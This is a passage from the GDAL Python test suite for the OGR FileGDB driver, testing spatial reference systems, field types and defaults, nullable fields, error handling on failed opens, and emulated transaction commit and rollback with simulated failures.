PARAMETER[\"central_meridian\",0],\n PARAMETER[\"scale_factor\",1],\n PARAMETER[\"false_easting\",500000],\n PARAMETER[\"false_northing\",0],\n UNIT[\"Meter\",1]]\"\"\"\n )\n\n srs_exact_4230 = osr.SpatialReference()\n srs_exact_4230.ImportFromEPSG(4230)\n srs_approx_4230 = srs_exact_4230.Clone()\n srs_approx_4230.MorphToESRI()\n srs_approx_4230.ImportFromWkt(srs_approx_4230.ExportToWkt())\n\n srs_approx_intl = osr.SpatialReference()\n srs_approx_intl.ImportFromProj4(\"+proj=longlat +ellps=intl +no_defs\")\n\n srs_exact_4233 = osr.SpatialReference()\n srs_exact_4233.ImportFromEPSG(4233)\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n lyr = ds.CreateLayer(\"srs_exact_4326\", srs=srs_exact_4326, geom_type=ogr.wkbPoint)\n lyr = ds.CreateLayer(\"srs_approx_4326\", srs=srs_approx_4326, geom_type=ogr.wkbPoint)\n lyr = ds.CreateLayer(\"srs_exact_2193\", srs=srs_exact_2193, geom_type=ogr.wkbPoint)\n lyr = ds.CreateLayer(\"srs_approx_2193\", srs=srs_approx_2193, geom_type=ogr.wkbPoint)\n\n lyr = ds.CreateLayer(\"srs_approx_4230\", srs=srs_approx_4230, geom_type=ogr.wkbPoint)\n\n # will fail\n with gdal.quiet_errors():\n lyr = ds.CreateLayer(\n \"srs_approx_intl\", srs=srs_approx_intl, geom_type=ogr.wkbPoint\n )\n\n # will fail: 4233 doesn't exist in DB\n with gdal.quiet_errors():\n lyr = ds.CreateLayer(\n \"srs_exact_4233\", srs=srs_exact_4233, geom_type=ogr.wkbPoint\n )\n\n # will fail\n with gdal.quiet_errors():\n lyr = ds.CreateLayer(\"srs_not_in_db\", srs=srs_not_in_db, geom_type=ogr.wkbPoint)\n\n ds = None\n\n ds = ogr.Open(\"tmp/test.gdb\")\n lyr = ds.GetLayerByName(\"srs_exact_4326\")\n assert lyr.GetSpatialRef().ExportToWkt().find(\"4326\") != -1\n lyr = ds.GetLayerByName(\"srs_approx_4326\")\n assert lyr.GetSpatialRef().ExportToWkt().find(\"4326\") != -1\n lyr = ds.GetLayerByName(\"srs_exact_2193\")\n assert lyr.GetSpatialRef().ExportToWkt().find(\"2193\") != -1\n lyr = ds.GetLayerByName(\"srs_approx_2193\")\n assert lyr.GetSpatialRef().ExportToWkt().find(\"2193\") != -1\n lyr = ds.GetLayerByName(\"srs_approx_4230\")\n assert lyr.GetSpatialRef().ExportToWkt().find(\"4230\") != -1\n ds = None\n\n\n###############################################################################\n# Test all data types\n\n\ndef test_ogr_fgdb_11(fgdb_drv):\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n f = open(\"data/filegdb/test_filegdb_field_types.xml\", \"rt\")\n xml_def = f.read()\n f.close()\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n lyr = ds.CreateLayer(\n \"test\", geom_type=ogr.wkbNone, options=[\"XML_DEFINITION=%s\" % xml_def]\n )\n feat = ogr.Feature(lyr.GetLayerDefn())\n feat.SetField(\"esriFieldTypeSmallInteger\", 12)\n feat.SetField(\"esriFieldTypeInteger\", 3456)\n feat.SetField(\"esriFieldTypeSingle\", 78.9)\n feat.SetField(\"esriFieldTypeDouble\", 1.23)\n feat.SetField(\"esriFieldTypeDate\", \"2012/12/31 12:34:56\")\n feat.SetField(\"esriFieldTypeString\", \"astr\")\n feat.SetField(\n \"esriFieldTypeGlobalID\", \"{12345678-9ABC-DEF0-1234-567890ABCDEF}\"\n ) # This is ignored and value is generated by FileGDB SDK itself\n feat.SetField(\"esriFieldTypeGUID\", \"{12345678-9abc-DEF0-1234-567890ABCDEF}\")\n lyr.CreateFeature(feat)\n feat = None\n\n feat = ogr.Feature(lyr.GetLayerDefn())\n lyr.CreateFeature(feat)\n feat = None\n\n # Create a esriFieldTypeGlobalID field\n lyr = ds.CreateLayer(\n \"test2\",\n geom_type=ogr.wkbNone,\n options=[\"COLUMN_TYPES=global_id=esriFieldTypeGlobalID\"],\n )\n lyr.CreateField(ogr.FieldDefn(\"global_id\", ogr.OFTString))\n feat = ogr.Feature(lyr.GetLayerDefn())\n lyr.CreateFeature(feat)\n feat = None\n\n ds = None\n\n ds = ogr.Open(\"tmp/test.gdb\")\n lyr = ds.GetLayerByName(\"test\")\n feat = lyr.GetNextFeature()\n if (\n feat.GetField(\"esriFieldTypeSmallInteger\") != 12\n or feat.GetField(\"esriFieldTypeInteger\") != 3456\n or feat.GetField(\"esriFieldTypeSingle\") != pytest.approx(78.9, abs=1e-2)\n or feat.GetField(\"esriFieldTypeDouble\") != 1.23\n or feat.GetField(\"esriFieldTypeDate\") != \"2012/12/31 12:34:56\"\n or feat.GetField(\"esriFieldTypeString\") != \"astr\"\n or feat.GetField(\"esriFieldTypeGUID\")\n != \"{12345678-9ABC-DEF0-1234-567890ABCDEF}\"\n or (not feat.IsFieldSet(\"esriFieldTypeGlobalID\"))\n ):\n feat.DumpReadable()\n pytest.fail()\n\n feat = lyr.GetNextFeature()\n if not feat.IsFieldSet(\"esriFieldTypeGlobalID\"):\n feat.DumpReadable()\n pytest.fail()\n\n lyr = ds.GetLayerByName(\"test2\")\n feat = lyr.GetNextFeature()\n if not feat.IsFieldSet(\"global_id\"):\n feat.DumpReadable()\n pytest.fail()\n\n ds = None\n\n\n###############################################################################\n# Test failed Open()\n\n\n@gdaltest.disable_exceptions()\ndef test_ogr_fgdb_12():\n\n ds = ogr.Open(\"tmp/non_existing.gdb\")\n assert ds is None\n\n gdal.Unlink(\"tmp/dummy.gdb\")\n try:\n shutil.rmtree(\"tmp/dummy.gdb\")\n except OSError:\n pass\n\n f = open(\"tmp/dummy.gdb\", \"wb\")\n f.close()\n\n ds = ogr.Open(\"tmp/dummy.gdb\")\n assert ds is None\n\n os.unlink(\"tmp/dummy.gdb\")\n\n os.mkdir(\"tmp/dummy.gdb\")\n\n with gdal.quiet_errors():\n ds = ogr.Open(\"tmp/dummy.gdb\")\n assert ds is None\n\n shutil.rmtree(\"tmp/dummy.gdb\")\n\n\n###############################################################################\n# Test failed CreateDataSource() and DeleteDataSource()\n\n\ndef test_ogr_fgdb_13(fgdb_drv):\n\n with gdal.quiet_errors():\n ds = fgdb_drv.CreateDataSource(\"tmp/foo\")\n assert ds is None\n\n f = open(\"tmp/dummy.gdb\", \"wb\")\n f.close()\n\n with gdal.quiet_errors():\n ds = fgdb_drv.CreateDataSource(\"tmp/dummy.gdb\")\n assert ds is None\n\n os.unlink(\"tmp/dummy.gdb\")\n\n try:\n shutil.rmtree(\"/nonexistingdir\")\n except OSError:\n pass\n\n if sys.platform == \"win32\":\n name = \"/nonexistingdrive:/nonexistingdir/dummy.gdb\"\n else:\n name = \"/proc/dummy.gdb\"\n\n with gdal.quiet_errors():\n ds = fgdb_drv.CreateDataSource(name)\n assert ds is None\n\n with gdal.quiet_errors():\n ret = fgdb_drv.DeleteDataSource(name)\n assert ret != 0\n\n\n###############################################################################\n# Test interleaved opening and closing of databases (#4270)\n\n\ndef test_ogr_fgdb_14():\n\n for _ in range(3):\n ds1 = ogr.Open(\"tmp/test.gdb\")\n assert ds1 is not None\n ds2 = ogr.Open(\"tmp/test.gdb\")\n assert ds2 is not None\n ds2 = None\n ds1 = None\n\n\n###############################################################################\n# Test opening a FGDB with both SRID and LatestSRID set (#5638)\n\n\ndef test_ogr_fgdb_15():\n\n try:\n shutil.rmtree(\"tmp/test3005.gdb\")\n except OSError:\n pass\n gdaltest.unzip(\"tmp\", \"data/filegdb/test3005.gdb.zip\")\n ds = ogr.Open(\"tmp/test3005.gdb\")\n lyr = ds.GetLayer(0)\n got_wkt = lyr.GetSpatialRef().ExportToWkt()\n sr = osr.SpatialReference()\n sr.ImportFromEPSG(3005)\n expected_wkt = sr.ExportToWkt()\n assert got_wkt == expected_wkt\n ds = None\n\n\n###############################################################################\n# Test fix for #5674\n\n\ndef test_ogr_fgdb_16(openfilegdb_drv, fgdb_drv):\n if fgdb_drv is None or openfilegdb_drv is None:\n pytest.skip()\n\n try:\n gdaltest.unzip(\"tmp/cache\", \"data/filegdb/ESSENCE_NAIPF_ORI_PROV_sub93.gdb.zip\")\n except OSError:\n pass\n try:\n os.stat(\"tmp/cache/ESSENCE_NAIPF_ORI_PROV_sub93.gdb\")\n except OSError:\n pytest.skip()\n\n fgdb_drv.Deregister()\n\n # Force FileGDB first\n fgdb_drv.Register()\n openfilegdb_drv.Register()\n\n try:\n ds = ogr.Open(\"tmp/cache/ESSENCE_NAIPF_ORI_PROV_sub93.gdb\")\n assert ds is not None\n finally:\n # Deregister OpenFileGDB again\n openfilegdb_drv.Deregister()\n\n shutil.rmtree(\"tmp/cache/ESSENCE_NAIPF_ORI_PROV_sub93.gdb\")\n\n\n###############################################################################\n# Test not nullable fields\n\n\ndef test_ogr_fgdb_17(fgdb_drv):\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n sr = osr.SpatialReference()\n sr.ImportFromEPSG(4326)\n lyr = ds.CreateLayer(\n \"test\", geom_type=ogr.wkbPoint, srs=sr, options=[\"GEOMETRY_NULLABLE=NO\"]\n )\n assert lyr.GetLayerDefn().GetGeomFieldDefn(0).IsNullable() == 0\n field_defn = ogr.FieldDefn(\"field_not_nullable\", ogr.OFTString)\n field_defn.SetNullable(0)\n lyr.CreateField(field_defn)\n field_defn = ogr.FieldDefn(\"field_nullable\", ogr.OFTString)\n lyr.CreateField(field_defn)\n\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetField(\"field_not_nullable\", \"not_null\")\n f.SetGeometryDirectly(ogr.CreateGeometryFromWkt(\"POINT(0 0)\"))\n ret = lyr.CreateFeature(f)\n assert ret == 0\n f = None\n\n # Error case: missing geometry\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetField(\"field_not_nullable\", \"not_null\")\n with gdal.quiet_errors():\n ret = lyr.CreateFeature(f)\n assert ret != 0\n f = None\n\n # Error case: missing non-nullable field\n f = ogr.Feature(lyr.GetLayerDefn())\n f.SetGeometryDirectly(ogr.CreateGeometryFromWkt(\"POINT(0 0)\"))\n with gdal.quiet_errors():\n ret = lyr.CreateFeature(f)\n assert ret != 0\n f = None\n\n ds = None\n\n ds = ogr.Open(\"tmp/test.gdb\", update=1)\n lyr = ds.GetLayerByName(\"test\")\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"field_not_nullable\"))\n .IsNullable()\n == 0\n )\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"field_nullable\"))\n .IsNullable()\n == 1\n )\n assert lyr.GetLayerDefn().GetGeomFieldDefn(0).IsNullable() == 0\n\n ds = None\n\n\n###############################################################################\n# Test default values\n\n\ndef test_ogr_fgdb_18(openfilegdb_drv, fgdb_drv):\n\n try:\n shutil.rmtree(\"tmp/test.gdb\")\n except OSError:\n pass\n\n ds = fgdb_drv.CreateDataSource(\"tmp/test.gdb\")\n lyr = ds.CreateLayer(\"test\", geom_type=ogr.wkbNone)\n\n field_defn = ogr.FieldDefn(\"field_string\", ogr.OFTString)\n field_defn.SetDefault(\"'a''b'\")\n lyr.CreateField(field_defn)\n\n field_defn = ogr.FieldDefn(\"field_int\", ogr.OFTInteger)\n field_defn.SetDefault(\"123\")\n lyr.CreateField(field_defn)\n\n field_defn = ogr.FieldDefn(\"field_real\", ogr.OFTReal)\n field_defn.SetDefault(\"1.23\")\n lyr.CreateField(field_defn)\n\n field_defn = ogr.FieldDefn(\"field_nodefault\", ogr.OFTInteger)\n lyr.CreateField(field_defn)\n\n field_defn = ogr.FieldDefn(\"field_datetime\", ogr.OFTDateTime)\n field_defn.SetDefault(\"CURRENT_TIMESTAMP\")\n lyr.CreateField(field_defn)\n\n field_defn = ogr.FieldDefn(\"field_datetime2\", ogr.OFTDateTime)\n field_defn.SetDefault(\"'2015/06/30 12:34:56'\")\n lyr.CreateField(field_defn)\n\n f = ogr.Feature(lyr.GetLayerDefn())\n lyr.CreateFeature(f)\n f = None\n\n ds = None\n\n if openfilegdb_drv is not None:\n openfilegdb_drv.Register()\n ogr_fgdb_18_test_results(openfilegdb_drv)\n if openfilegdb_drv is not None:\n openfilegdb_drv.Deregister()\n\n\ndef ogr_fgdb_18_test_results(openfilegdb_drv):\n\n ds = ogr.Open(\"tmp/test.gdb\", update=1)\n lyr = ds.GetLayerByName(\"test\")\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"field_string\"))\n .GetDefault()\n == \"'a''b'\"\n )\n if openfilegdb_drv is not None:\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"field_int\"))\n .GetDefault()\n == \"123\"\n )\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"field_real\"))\n .GetDefault()\n == \"1.23\"\n )\n assert (\n lyr.GetLayerDefn()\n .GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex(\"field_nodefault\"))\n .GetDefault()\n is None\n )\n # if lyr.GetLayerDefn().GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex('field_datetime')).GetDefault() != 'CURRENT_TIMESTAMP':\n # gdaltest.post_reason('fail')\n # return 'fail'\n # if lyr.GetLayerDefn().GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex('field_datetime2')).GetDefault() != \"'2015/06/30 12:34:56'\":\n # gdaltest.post_reason('fail')\n # print(lyr.GetLayerDefn().GetFieldDefn(lyr.GetLayerDefn().GetFieldIndex('field_datetime2')).GetDefault())\n # return 'fail'\n f = lyr.GetNextFeature()\n if (\n f.GetField(\"field_string\") != \"a'b\"\n or f.GetField(\"field_int\") != 123\n or f.GetField(\"field_real\") != 1.23\n or not f.IsFieldNull(\"field_nodefault\")\n or not f.IsFieldSet(\"field_datetime\")\n or f.GetField(\"field_datetime2\") != \"2015/06/30 12:34:56\"\n ):\n f.DumpReadable()\n pytest.fail()\n ds = None\n\n\n###############################################################################\n# Test transaction support\n\n\ndef ogr_fgdb_19_open_update(openfilegdb_drv, fgdb_drv, filename):\n\n # We need the OpenFileGDB driver for Linux improved StartTransaction()\n bPerLayerCopyingForTransaction = False\n if openfilegdb_drv is not None:\n openfilegdb_drv.Register()\n if os.name != \"nt\":\n val = gdal.GetConfigOption(\"FGDB_PER_LAYER_COPYING_TRANSACTION\", \"TRUE\")\n if val == \"TRUE\" or val == \"YES\" or val == \"ON\":\n bPerLayerCopyingForTransaction = True\n\n ds = fgdb_drv.Open(filename, update=1)\n\n if openfilegdb_drv is not None:\n openfilegdb_drv.Deregister()\n fgdb_drv.Deregister()\n # Force OpenFileGDB first\n openfilegdb_drv.Register()\n fgdb_drv.Register()\n\n return (bPerLayerCopyingForTransaction, ds)\n\n\ndef test_ogr_fgdb_19(openfilegdb_drv, fgdb_drv):\n\n # FIXME likely due to too old FileGDB SDK on those targets\n # fails with ERROR 1: Failed to open Geodatabase (The system cannot find the file specified.)\n # File \"ogr_fgdb.py\", line 1664, in ogr_fgdb_19\n # if ds.StartTransaction(force=True) != 0:\n if (\n gdaltest.is_travis_branch(\"ubuntu_2004\")\n or gdaltest.is_travis_branch(\"ubuntu_1804\")\n or gdaltest.is_travis_branch(\"ubuntu_1604\")\n or gdaltest.is_travis_branch(\"trusty_clang\")\n or gdaltest.is_travis_branch(\"python3\")\n or gdaltest.is_travis_branch(\"trunk_with_coverage\")\n ):\n pytest.skip()\n\n try:\n shutil.rmtree(\"tmp/test.gdb.ogrtmp\")\n except OSError:\n pass\n try:\n shutil.rmtree(\"tmp/test.gdb.ogredited\")\n except OSError:\n pass\n\n # Error case: try in read-only\n ds = fgdb_drv.Open(\"tmp/test.gdb\")\n with gdal.quiet_errors():\n ret = ds.StartTransaction(force=True)\n assert ret != 0\n ds = None\n\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n\n assert ds.TestCapability(ogr.ODsCEmulatedTransactions) == 1\n\n # Error case: try in non-forced mode\n with gdal.quiet_errors():\n ret = ds.StartTransaction(force=False)\n assert ret != 0\n\n # Error case: try StartTransaction() with a ExecuteSQL layer still active\n sql_lyr = ds.ExecuteSQL(\"SELECT * FROM test\")\n with gdal.quiet_errors():\n ret = ds.StartTransaction(force=True)\n assert ret != 0\n ds.ReleaseResultSet(sql_lyr)\n\n # Error case: call CommitTransaction() while there is no transaction\n with gdal.quiet_errors():\n ret = ds.CommitTransaction()\n assert ret != 0\n\n # Error case: call RollbackTransaction() while there is no transaction\n with gdal.quiet_errors():\n ret = ds.RollbackTransaction()\n assert ret != 0\n\n # Error case: try StartTransaction() with another active connection\n ds2 = fgdb_drv.Open(\"tmp/test.gdb\", update=1)\n with gdal.quiet_errors():\n ret = ds2.StartTransaction(force=True)\n assert ret != 0\n ds2 = None\n\n # Successful StartTransaction() finally!\n lyr = ds.GetLayer(0)\n lyr = ds.GetLayer(0) # again\n old_count = lyr.GetFeatureCount()\n lyr_defn = lyr.GetLayerDefn()\n layer_created_before_transaction = ds.CreateLayer(\n \"layer_created_before_transaction\", geom_type=ogr.wkbNone\n )\n layer_created_before_transaction_defn = (\n layer_created_before_transaction.GetLayerDefn()\n )\n\n assert ds.StartTransaction(force=True) == 0\n\n assert os.path.exists(\"tmp/test.gdb.ogredited\")\n assert not os.path.exists(\"tmp/test.gdb.ogrtmp\")\n\n ret = lyr.CreateField(ogr.FieldDefn(\"foobar\", ogr.OFTString))\n assert ret == 0\n\n ret = lyr.DeleteField(lyr.GetLayerDefn().GetFieldIndex(\"foobar\"))\n assert ret == 0\n\n with gdal.quiet_errors():\n ret = lyr.CreateGeomField(ogr.GeomFieldDefn(\"foobar\", ogr.wkbPoint))\n assert ret != 0\n\n with gdal.quiet_errors():\n ret = lyr.ReorderFields([i for i in range(lyr.GetLayerDefn().GetFieldCount())])\n assert ret != 0\n\n with gdal.quiet_errors():\n ret = lyr.AlterFieldDefn(0, ogr.FieldDefn(\"foo\", ogr.OFTString), 0)\n assert ret != 0\n\n f = ogr.Feature(lyr_defn)\n f.SetField(\"field_string\", \"foo\")\n lyr.CreateFeature(f)\n lyr.SetFeature(f)\n fid = f.GetFID()\n assert fid > 0\n lyr.ResetReading()\n for i in range(fid):\n f = lyr.GetNextFeature()\n assert f.GetFID() == fid and f.GetField(\"field_string\") == \"foo\"\n f = lyr.GetFeature(fid)\n assert f.GetFID() == fid and f.GetField(\"field_string\") == \"foo\"\n\n f = ogr.Feature(layer_created_before_transaction_defn)\n layer_created_before_transaction.CreateFeature(f)\n\n # Error case: call StartTransaction() while there is an active transaction\n with gdal.quiet_errors():\n ret = ds.StartTransaction(force=True)\n assert ret != 0\n\n # Error case: try CommitTransaction() with a ExecuteSQL layer still active\n sql_lyr = ds.ExecuteSQL(\"SELECT * FROM test\")\n with gdal.quiet_errors():\n ret = ds.CommitTransaction()\n assert ret != 0\n ds.ReleaseResultSet(sql_lyr)\n\n # Error case: try RollbackTransaction() with a ExecuteSQL layer still active\n sql_lyr = ds.ExecuteSQL(\"SELECT * FROM test\")\n with gdal.quiet_errors():\n ret = ds.RollbackTransaction()\n assert ret != 0\n ds.ReleaseResultSet(sql_lyr)\n\n # Test that CommitTransaction() works\n assert ds.CommitTransaction() == 0\n\n assert not os.path.exists(\"tmp/test.gdb.ogredited\")\n assert not os.path.exists(\"tmp/test.gdb.ogrtmp\")\n\n lst = gdal.ReadDir(\"tmp/test.gdb\")\n for filename in lst:\n assert \".tmp\" not in filename, lst\n\n lyr_tmp = ds.GetLayer(0)\n lyr_tmp = ds.GetLayer(0)\n new_count = lyr_tmp.GetFeatureCount()\n assert new_count == old_count + 1\n old_count = new_count\n\n assert layer_created_before_transaction.GetFeatureCount() == 1\n\n for i in range(ds.GetLayerCount()):\n if ds.GetLayer(i).GetName() == layer_created_before_transaction.GetName():\n ds.DeleteLayer(i)\n break\n layer_created_before_transaction = None\n\n # Test suppression of layer within transaction\n lyr_count = ds.GetLayerCount()\n ds.CreateLayer(\"layer_tmp\", geom_type=ogr.wkbNone)\n ret = ds.StartTransaction(force=True)\n assert ret == 0\n ds.DeleteLayer(ds.GetLayerCount() - 1)\n assert ds.CommitTransaction() == 0\n\n new_lyr_count = ds.GetLayerCount()\n assert new_lyr_count == lyr_count\n\n # Test that RollbackTransaction() works\n ret = ds.StartTransaction(force=True)\n assert ret == 0\n\n f = ogr.Feature(lyr_defn)\n lyr.CreateFeature(f)\n\n layer_created_during_transaction = ds.CreateLayer(\n \"layer_created_during_transaction\", geom_type=ogr.wkbNone\n )\n layer_created_during_transaction.CreateField(ogr.FieldDefn(\"foo\", ogr.OFTString))\n\n assert ds.RollbackTransaction() == 0\n\n assert not os.path.exists(\"tmp/test.gdb.ogredited\")\n assert not os.path.exists(\"tmp/test.gdb.ogrtmp\")\n\n assert lyr.GetFeatureCount() == old_count\n\n # Cannot retrieve the layer any more from fresh\n assert ds.GetLayerByName(\"layer_created_during_transaction\") is None\n # Pointer is in ghost state\n assert layer_created_during_transaction.GetLayerDefn().GetFieldCount() == 0\n\n # Simulate an error case where StartTransaction() cannot copy backup files\n lyr_count = ds.GetLayerCount()\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE1\"), gdaltest.error_handler():\n ret = ds.StartTransaction(force=True)\n assert ret != 0\n\n assert ds.GetLayerCount() == lyr_count\n\n # Simulate an error case where StartTransaction() cannot reopen database\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE2\"), gdaltest.error_handler():\n ret = ds.StartTransaction(force=True)\n assert ret != 0\n\n assert ds.GetLayerCount() == 0\n shutil.rmtree(\"tmp/test.gdb.ogredited\")\n\n # Test method on ghost datasource and layer\n ds.GetName()\n ds.GetLayerCount()\n ds.GetLayer(0)\n ds.GetLayerByName(\"test\")\n ds.DeleteLayer(0)\n ds.TestCapability(\"foo\")\n ds.CreateLayer(\"bar\", geom_type=ogr.wkbNone)\n ds.CopyLayer(lyr, \"baz\")\n ds.GetStyleTable()\n # ds.SetStyleTableDirectly(None)\n ds.SetStyleTable(None)\n sql_lyr = ds.ExecuteSQL(\"SELECT * FROM test\")\n ds.ReleaseResultSet(sql_lyr)\n ds.FlushCache()\n ds.GetMetadata()\n ds.GetMetadataItem(\"foo\")\n ds.SetMetadata(None)\n ds.SetMetadataItem(\"foo\", None)\n\n lyr.GetSpatialFilter()\n lyr.SetSpatialFilter(None)\n lyr.SetSpatialFilterRect(0, 0, 0, 0)\n lyr.SetSpatialFilter(0, None)\n lyr.SetSpatialFilterRect(0, 0, 0, 0, 0)\n lyr.SetAttributeFilter(None)\n lyr.ResetReading()\n lyr.GetNextFeature()\n lyr.SetNextByIndex(0)\n lyr.GetFeature(0)\n lyr.SetFeature(ogr.Feature(lyr.GetLayerDefn()))\n lyr.CreateFeature(ogr.Feature(lyr.GetLayerDefn()))\n lyr.DeleteFeature(0)\n lyr.GetName()\n lyr.GetGeomType()\n lyr.GetLayerDefn()\n lyr.GetSpatialRef()\n lyr.GetFeatureCount()\n lyr.GetExtent()\n lyr.GetExtent(0)\n lyr.TestCapability(\"foo\")\n lyr.CreateField(ogr.FieldDefn(\"foo\", ogr.OFTString))\n lyr.DeleteField(0)\n lyr.ReorderFields([i for i in range(lyr.GetLayerDefn().GetFieldCount())])\n lyr.AlterFieldDefn(0, ogr.FieldDefn(\"foo\", ogr.OFTString), 0)\n lyr.SyncToDisk()\n lyr.GetStyleTable()\n # lyr.SetStyleTableDirectly(None)\n lyr.SetStyleTable(None)\n lyr.StartTransaction()\n lyr.CommitTransaction()\n lyr.RollbackTransaction()\n lyr.SetIgnoredFields([])\n lyr.GetMetadata()\n lyr.GetMetadataItem(\"foo\")\n lyr.SetMetadata(None)\n lyr.SetMetadataItem(\"foo\", None)\n\n ds = None\n\n if bPerLayerCopyingForTransaction:\n\n # Test an error case where we simulate a failure of destroying a\n # layer destroyed during transaction\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n\n layer_tmp = ds.CreateLayer(\"layer_tmp\", geom_type=ogr.wkbNone)\n layer_tmp.CreateField(ogr.FieldDefn(\"foo\", ogr.OFTString))\n\n assert ds.StartTransaction(force=True) == 0\n\n ds.DeleteLayer(ds.GetLayerCount() - 1)\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE1\"), gdaltest.error_handler():\n ret = ds.CommitTransaction()\n assert ret != 0\n\n ds = None\n\n shutil.rmtree(\"tmp/test.gdb.ogredited\")\n\n lst = gdal.ReadDir(\"tmp/test.gdb\")\n for filename in lst:\n assert \".tmp\" not in filename, lst\n\n # Test an error case where we simulate a failure in renaming\n # a file in original directory\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n\n for i in range(ds.GetLayerCount()):\n if ds.GetLayer(i).GetName() == \"layer_tmp\":\n ds.DeleteLayer(i)\n break\n\n assert ds.StartTransaction(force=True) == 0\n\n lyr = ds.GetLayer(0)\n f = lyr.GetNextFeature()\n lyr.SetFeature(f)\n f = None\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE2\"), gdaltest.error_handler():\n ret = ds.CommitTransaction()\n assert ret != 0\n\n ds = None\n\n shutil.rmtree(\"tmp/test.gdb.ogredited\")\n\n lst = gdal.ReadDir(\"tmp/test.gdb\")\n for filename in lst:\n assert \".tmp\" not in filename, lst\n\n # Test an error case where we simulate a failure in moving\n # a file into original directory\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n\n assert ds.StartTransaction(force=True) == 0\n\n lyr = ds.GetLayer(0)\n f = lyr.GetNextFeature()\n lyr.SetFeature(f)\n f = None\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE3\"), gdaltest.error_handler():\n ret = ds.CommitTransaction()\n assert ret != 0\n\n ds = None\n\n shutil.rmtree(\"tmp/test.gdb.ogredited\")\n\n # Remove left over .tmp files\n lst = gdal.ReadDir(\"tmp/test.gdb\")\n for filename in lst:\n if \".tmp\" in filename:\n os.remove(\"tmp/test.gdb/\" + filename)\n\n # Test not critical error in removing a temporary file\n for case in (\"CASE4\", \"CASE5\"):\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n\n assert ds.StartTransaction(force=True) == 0\n\n lyr = ds.GetLayer(0)\n f = lyr.GetNextFeature()\n lyr.SetFeature(f)\n f = None\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", case), gdaltest.error_handler():\n ret = ds.CommitTransaction()\n assert ret == 0, case\n\n ds = None\n\n if case == \"CASE4\":\n assert not os.path.exists(\"tmp/test.gdb.ogredited\"), case\n else:\n shutil.rmtree(\"tmp/test.gdb.ogredited\")\n\n # Remove left over .tmp files\n lst = gdal.ReadDir(\"tmp/test.gdb\")\n for filename in lst:\n if \".tmp\" in filename:\n os.remove(\"tmp/test.gdb/\" + filename)\n\n else:\n # Test an error case where we simulate a failure of rename from .gdb to .gdb.ogrtmp during commit\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n\n assert ds.StartTransaction(force=True) == 0\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE1\"), gdaltest.error_handler():\n ret = ds.CommitTransaction()\n assert ret != 0\n\n ds = None\n\n # Test an error case where we simulate a failure of rename from .gdb.ogredited to .gdb during commit\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n\n assert ds.StartTransaction(force=True) == 0\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE2\"), gdaltest.error_handler():\n ret = ds.CommitTransaction()\n assert ret != 0\n\n ds = None\n os.rename(\"tmp/test.gdb.ogrtmp\", \"tmp/test.gdb\")\n\n # Test an error case where we simulate a failure of removing from .gdb.ogrtmp during commit\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n\n assert ds.StartTransaction(force=True) == 0\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE3\"), gdaltest.error_handler():\n ret = ds.CommitTransaction()\n assert ret == 0\n\n ds = None\n shutil.rmtree(\"tmp/test.gdb.ogrtmp\")\n\n # Test an error case where we simulate a failure of reopening the committed DB\n (bPerLayerCopyingForTransaction, ds) = ogr_fgdb_19_open_update(\n openfilegdb_drv, fgdb_drv, \"tmp/test.gdb\"\n )\n lyr = ds.GetLayer(0)\n lyr_defn = lyr.GetLayerDefn()\n\n assert ds.StartTransaction(force=True) == 0\n\n with gdal.config_option(\"FGDB_SIMUL_FAIL\", \"CASE_REOPEN\"), gdaltest.error_handler():\n ret = ds.CommitTransaction()\n assert ret != 0\n\n assert ds.GetLayerCount() == 0\n\n ds = None\n\n # Test an error case where we simulate a failure of removing from .gdb.ogredited during 